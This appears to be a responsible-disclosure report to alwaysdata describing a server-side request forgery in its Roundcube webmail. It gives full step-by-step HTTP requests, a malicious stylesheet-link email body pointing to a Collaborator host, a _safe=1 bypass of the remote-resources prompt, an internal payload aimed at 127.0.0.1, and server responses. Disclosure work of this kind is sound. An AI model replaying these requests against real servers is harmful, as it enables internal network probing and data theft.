|
Task Description
Dear alwaysdata security team,
While performing security research on alwaysdata services, i identified a Server-Side Request Forgery (SSRF) vulnerability at webmail.alwaysdata.com.
When i send an HTML email containing <link rel="stylesheet"> tags to a webmail user, and they preview the message, your server fetches those URLs server-side using GuzzleHttp. i was able to confirm that this is a 0-click vulnerability by directly calling the preview endpoint with _safe=1 parameter, the SSRF triggers automatically without the user clicking “Allow remote resources”.
This allows an attacker to make your server issue HTTP requests to arbitrary URLs, including internal network resources. i was also able to confirm content exfiltration. Impact
An attacker can force the server to make HTTP requests to internal network services, perform port scanning, and potentially exfiltrate sensitive data from internal endpoints. Proof of Vulnerability
i set up a Burp Collaborator listener and sent an email with a malicious <link> tag pointing to my collaborator domain. When i previewed the email with _safe=1, i received an HTTP request from your server, this IP 185.31.40.185 belongs to alwaysdata infrastructure:
WHOIS Data:
inetnum: 185.31.40.0 - 185.31.43.255
netname: FR-ALWAYSDATA-20130719
descr: ALWAYSDATA SARL
country: FR
org: ORG-AS291-RIPE
ASN: AS60362
This confirms the HTTP request originated from your server, not from my browser. PoC Step 1: Send Malicious Email
POST /roundcube/?_task=mail&_action=send HTTP/2 Host: webmail.alwaysdata.com Content-Type: application/x-www-form-urlencoded Cookie: roundcube_sessid=85c4e1f4be4058204070116c78cc1199; roundcube_sessauth=<AUTH_TOKEN> X-Roundcube-Request: M1HcH0yTzJMkS4Fa6ltUw9tD4Z4iFaH9
_token=M1HcH0yTzJMkS4Fa6ltUw9tD4Z4iFaH9&_task=mail&_action=send&_id=104032622669b7340a72208&_from=70213&_to=payload-life@alwaysdata.net&_subject=Test&_is_html=1&_message=%3C!DOCTYPE+html%3E%3Chtml%3E%3Chead%3E%0A%3Clink+rel%3D%22stylesheet%22+href%3D%22http%3A%2F%2Fm3qaymssgnoizwnm93ykj2x60x6nuc.oastify.com%2Fssrf-poc.css%22%3E%0A%3C%2Fhead%3E%3Cbody%3ESSRF+Test%3C%2Fbody%3E%3C%2Fhtml%3E
Decoded email body:
<!DOCTYPE html>
<head>
<link rel="stylesheet" href="http://m3qaymssgnoizwnm93ykj2x60x6nuc.oastify.com/ssrf-poc.css">
</head>
<body>SSRF Test</body>
Step 2: Preview Email with _safe=1
GET /roundcube/?_task=mail&_framed=1&_uid=8&_mbox=INBOX&_safe=1&_action=preview HTTP/2 Host: webmail.alwaysdata.com Cookie: roundcube_sessid=85c4e1f4be4058204070116c78cc1199; roundcube_sessauth=<AUTH_TOKEN> Accept: text/html
The _safe=1 parameter bypasses the “Allow remote resources” prompt. The response contains modcss links that trigger the SSRF. Step 3: Trigger SSRF via modcss
The preview response contains links like:
<link rel="stylesheet" href="./?_task=utils&_action=modcss&_u=tmp-41706b4d345bb0a5fe2f6e82d3caa57e.css">
When this modcss URL is fetched, the server makes the SSRF request:
GET /roundcube/?_task=utils&_action=modcss&_u=tmp-41706b4d345bb0a5fe2f6e82d3caa57e.css&_c=message-htmlpart1&_p=v1 HTTP/2 Host: webmail.alwaysdata.com Cookie: roundcube_sessid=85c4e1f4be4058204070116c78cc1199; roundcube_sessauth=<AUTH_TOKEN> Accept: text/css
This request causes the server to fetch the attacker’s URL server-side using GuzzleHttp. Step 4: Internal Enumeration (Optional)
To target internal services, use this email body:
<!DOCTYPE html>
<head>
<link rel="stylesheet" href="http://127.0.0.1/">
</head>
<body>Internal enumeration</body>
Steps to Reproduce
Login to webmail.alwaysdata.com with a valid account
Generate a Collaborator payload or webhook
Send an HTML email to yourself with a malicious <link> tag (see Step 1)
Preview the email with _safe=1 parameter (see Step 2)
Fetch the modcss URL from the preview response (see Step 3) - this triggers the SSRF
Check your Collaborator for incoming HTTP requests from 185.31.40.185
Results 1. Collaborator Received HTTP Request from the Server
When i triggered the SSRF, my Collaborator received this request:
Timestamp: 2026-03-15T22:18:55.739Z Client IP: 185.31.40.185 User-Agent: GuzzleHttp/7 Request: GET /ssrf-poc.css HTTP/1.1 Host: m3qaymssgnoizwnm93ykj2x60x6nuc.oastify.com
If this was my browser making the request, the User-Agent would be Mozilla/5.0… and the IP would be my home IP. Instead, it’s GuzzleHttp/7 from 185.31.40.185. 2. Content Exfiltration
When i send an email with a <link> tag pointing to a CSS file (e.g., the Roundcube skin CSS), the server fetches it and returns the full content:
Request:
GET /roundcube/?_task=utils&_action=modcss&_u=tmp-da2506570833332561f753a8e4264709.css&_c=message-htmlpart1&_p=v1 HTTP/2 Host: webmail.alwaysdata.com Cookie: roundcube_sessid=85c4e1f4be4058204070116c78cc1199; roundcube_sessauth=<AUTH_TOKEN> Accept: text/css,*/*;q=0.1
Response:
HTTP/2 200 OK Server: nginx Date: Sun, 15 Mar 2026 23:08:11 GMT Content-Type: text/css;charset=UTF-8 Via: 1.1 alproxy
#messagehtmlpart1 #v1filtersetslist td.v1name:before, #messagehtmlpart1 #v1filterslist td.v1name:before, #messagehtmlpart1 #v1identities-table td.v1mail:before, #messagehtmlpart1 #v1message-header .v1header-links a:before, … [truncated - full CSS content exfiltrated]
3. Internal Network is Reachable
When i target internal IPs like 127.0.0.1 or external Collaborator URLs, the server connects and returns “Invalid response” however requests are still being sent internally:
Request:
GET /roundcube/?_task=utils&_action=modcss&_u=tmp-41706b4d345bb0a5fe2f6e82d3caa57e.css&_c=message-htmlpart1&_p=v1 HTTP/2 Host: webmail.alwaysdata.com Cookie: roundcube_sessid=85c4e1f4be4058204070116c78cc1199; roundcube_sessauth=<AUTH_TOKEN> Accept: text/css,*/*;q=0.1
Response:
HTTP/2 404 Not Found Server: nginx Date: Sun, 15 Mar 2026 23:08:25 GMT Content-Type: text/html; charset=UTF-8 Via: 1.1 alproxy
Invalid response returned by server
|